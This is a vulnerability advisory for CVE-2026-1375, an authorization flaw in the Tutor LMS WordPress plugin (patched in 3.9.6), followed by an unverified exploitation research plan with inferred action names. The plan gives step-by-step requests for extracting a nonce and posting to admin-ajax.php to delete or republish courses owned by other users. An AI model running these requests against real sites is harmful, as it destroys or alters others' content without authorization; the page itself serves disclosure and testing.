CVE-2026-1375

Tutor LMS <= 3.9.5 - Insecure Direct Object Reference to Authenticated (Instructor+) Arbitrary Course Modification and Deletion

highAuthorization Bypass Through User-Controlled Key
8.1
CVSS Score
8.1
CVSS Score
high
Severity
3.9.6
Patched in
1d
Time to patch

Description

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object References (IDOR) in all versions up to, and including, 3.9.5. This is due to missing object-level authorization checks in the `course_list_bulk_action()`, `bulk_delete_course()`, and `update_course_status()` functions. This makes it possible for authenticated attackers, with Tutor Instructor-level access and above, to modify or delete arbitrary courses they do not own by manipulating course IDs in bulk action requests.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.9.5
PublishedFebruary 2, 2026
Last updatedFebruary 3, 2026
Affected plugintutor

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-1375 (Tutor LMS IDOR) ## 1. Vulnerability Summary The **Tutor LMS** plugin (<= 3.9.5) contains an Insecure Direct Object Reference (IDOR) vulnerability within its course management logic. Specifically, the functions `course_list_bulk_action()`, `bulk_delete_c…

Show full research plan

Exploitation Research Plan - CVE-2026-1375 (Tutor LMS IDOR)

1. Vulnerability Summary

The Tutor LMS plugin (<= 3.9.5) contains an Insecure Direct Object Reference (IDOR) vulnerability within its course management logic. Specifically, the functions course_list_bulk_action(), bulk_delete_course(), and update_course_status() fail to perform object-level authorization checks. While these functions verify that the user has the general capability to manage courses (e.g., tutor_instructor), they do not verify if the specific course IDs being modified or deleted actually belong to the authenticated user. This allows an authenticated Instructor to modify or delete courses authored by any other user, including Administrators.

2. Attack Vector Analysis

  • Endpoints:
    • wp-admin/admin-ajax.php (Primary suspect for dashboard actions)
    • Instructor Dashboard Frontend (often uses AJAX or POST to the current page)
  • Vulnerable Actions (AJAX/POST):
    • tutor_course_list_bulk_action (inferred action name)
    • tutor_update_course_status (inferred action name)
  • Payload Parameters:
    • course_ids[] or course_id: The ID of the target course(s) to be modified or deleted.
    • bulk_action: The action to perform (e.g., delete, trash, publish, draft).
    • status: The target status for update_course_status.
  • Authentication: Authenticated user with at least Instructor role.
  • Preconditions: At least one course must exist that is NOT owned by the attacker (e.g., an Admin-created course).

3. Code Flow (Inferred)

  1. Entry Point: The user triggers a bulk action or status change from the Instructor Dashboard or Admin Course list.
  2. Hook Registration: The plugin registers AJAX handlers:
    add_action('wp_ajax_tutor_course_list_bulk_action', 'course_list_bulk_action');
    add_action('wp_ajax_tutor_update_course_status', 'update_course_status');
    
  3. Vulnerable Logic (course_list_bulk_action / bulk_delete_course):
    • The function retrieves $_POST['course_ids'].
    • It checks current_user_can('tutor_instructor') (Capability check).
    • It checks wp_verify_nonce() (CSRF check).
    • The Bug: It iterates through the IDs and calls wp_delete_post($id) or wp_trash_post($id) without checking if get_post_field('post_author', $id) == get_current_user_id().
  4. Vulnerable Logic (update_course_status):
    • The function retrieves $_POST['course_id'] and $_POST['status'].
    • It updates the post status via wp_update_post() or update_post_meta() without verifying ownership.

4. Nonce Acquisition Strategy

Tutor LMS typically localizes nonces for the instructor dashboard in a global JavaScript object.

  1. Identify Trigger: The "Instructor Dashboard" page (usually slug /dashboard/ or /instructor-dashboard/) contains the course management interface.
  2. Setup Page:
    • wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[tutor_dashboard]'
  3. Extraction via Browser:
    • Navigate to the dashboard as the Instructor user.
    • The nonce is likely located in the window.tutor_get_conf or window.tutor_admin_data object.
    • JS Command: browser_eval("window.tutor_get_conf?.nonce") or browser_eval("window.tutor_admin_data?.nonce").
    • Note: In some versions, the bulk action nonce might specifically be tutor_nonce.

5. Exploitation Strategy

Phase 1: Bulk Deletion (IDOR)

  • Target: Delete/Trash a course owned by the Administrator (ID: TARGET_COURSE_ID).
  • Tool: http_request
  • Method: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: tutor_course_list_bulk_action (verify name in source)
    • course_ids[]: [TARGET_COURSE_ID]
    • bulk_action: delete (or trash)
    • _wpnonce: [EXTRACTED_NONCE]

Phase 2: Arbitrary Status Modification

  • Target: Change an Admin course from pending or draft to publish.
  • Method: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Parameters:
    • action: tutor_update_course_status (verify name in source)
    • course_id: [TARGET_COURSE_ID]
    • status: publish
    • _wpnonce: [EXTRACTED_NONCE]

6. Test Data Setup

  1. Create Admin Course:
    • wp post create --post_type=courses --post_title="Admin Secret Course" --post_status=publish --post_author=1
    • Save the resulting ID as TARGET_COURSE_ID.
  2. Create Instructor User:
    • wp user create attacker attacker@example.com --role=tutor_instructor --user_pass=password123
  3. Ensure Tutor LMS Roles are active:
    • wp tutor tools re-install-roles (if necessary).

7. Expected Results

  • Bulk Deletion: The server returns a success response (likely JSON {"success": true}). The course with TARGET_COURSE_ID should no longer appear in the active courses list.
  • Status Modification: The server returns success. The course status in the database changes to the specified value.

8. Verification Steps

  1. Verify Deletion:
    • wp post get [TARGET_COURSE_ID] --field=post_status
    • If status is trash or the command returns an error (if delete was used), the exploit worked.
  2. Verify Ownership Bypass:
    • wp post get [TARGET_COURSE_ID] --field=post_author
    • Confirm the author is still 1 (Admin), proving an Instructor modified/deleted a course they do not own.

9. Alternative Approaches

  • Dashboard Form Submission: If the AJAX endpoint is restricted, attempt to find a standard POST handler in wp-admin/admin.php or admin-post.php used by the Instructor Dashboard's bulk action menu.
  • Parameter variations: Check if the plugin accepts course_id (singular) instead of course_ids[] for some handlers.
  • Direct Function Call via Admin Dashboard: If the Instructor has access to wp-admin, navigate to /wp-admin/edit.php?post_type=courses and attempt the bulk action there while intercepting the request to ensure the TARGET_COURSE_ID is injected.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.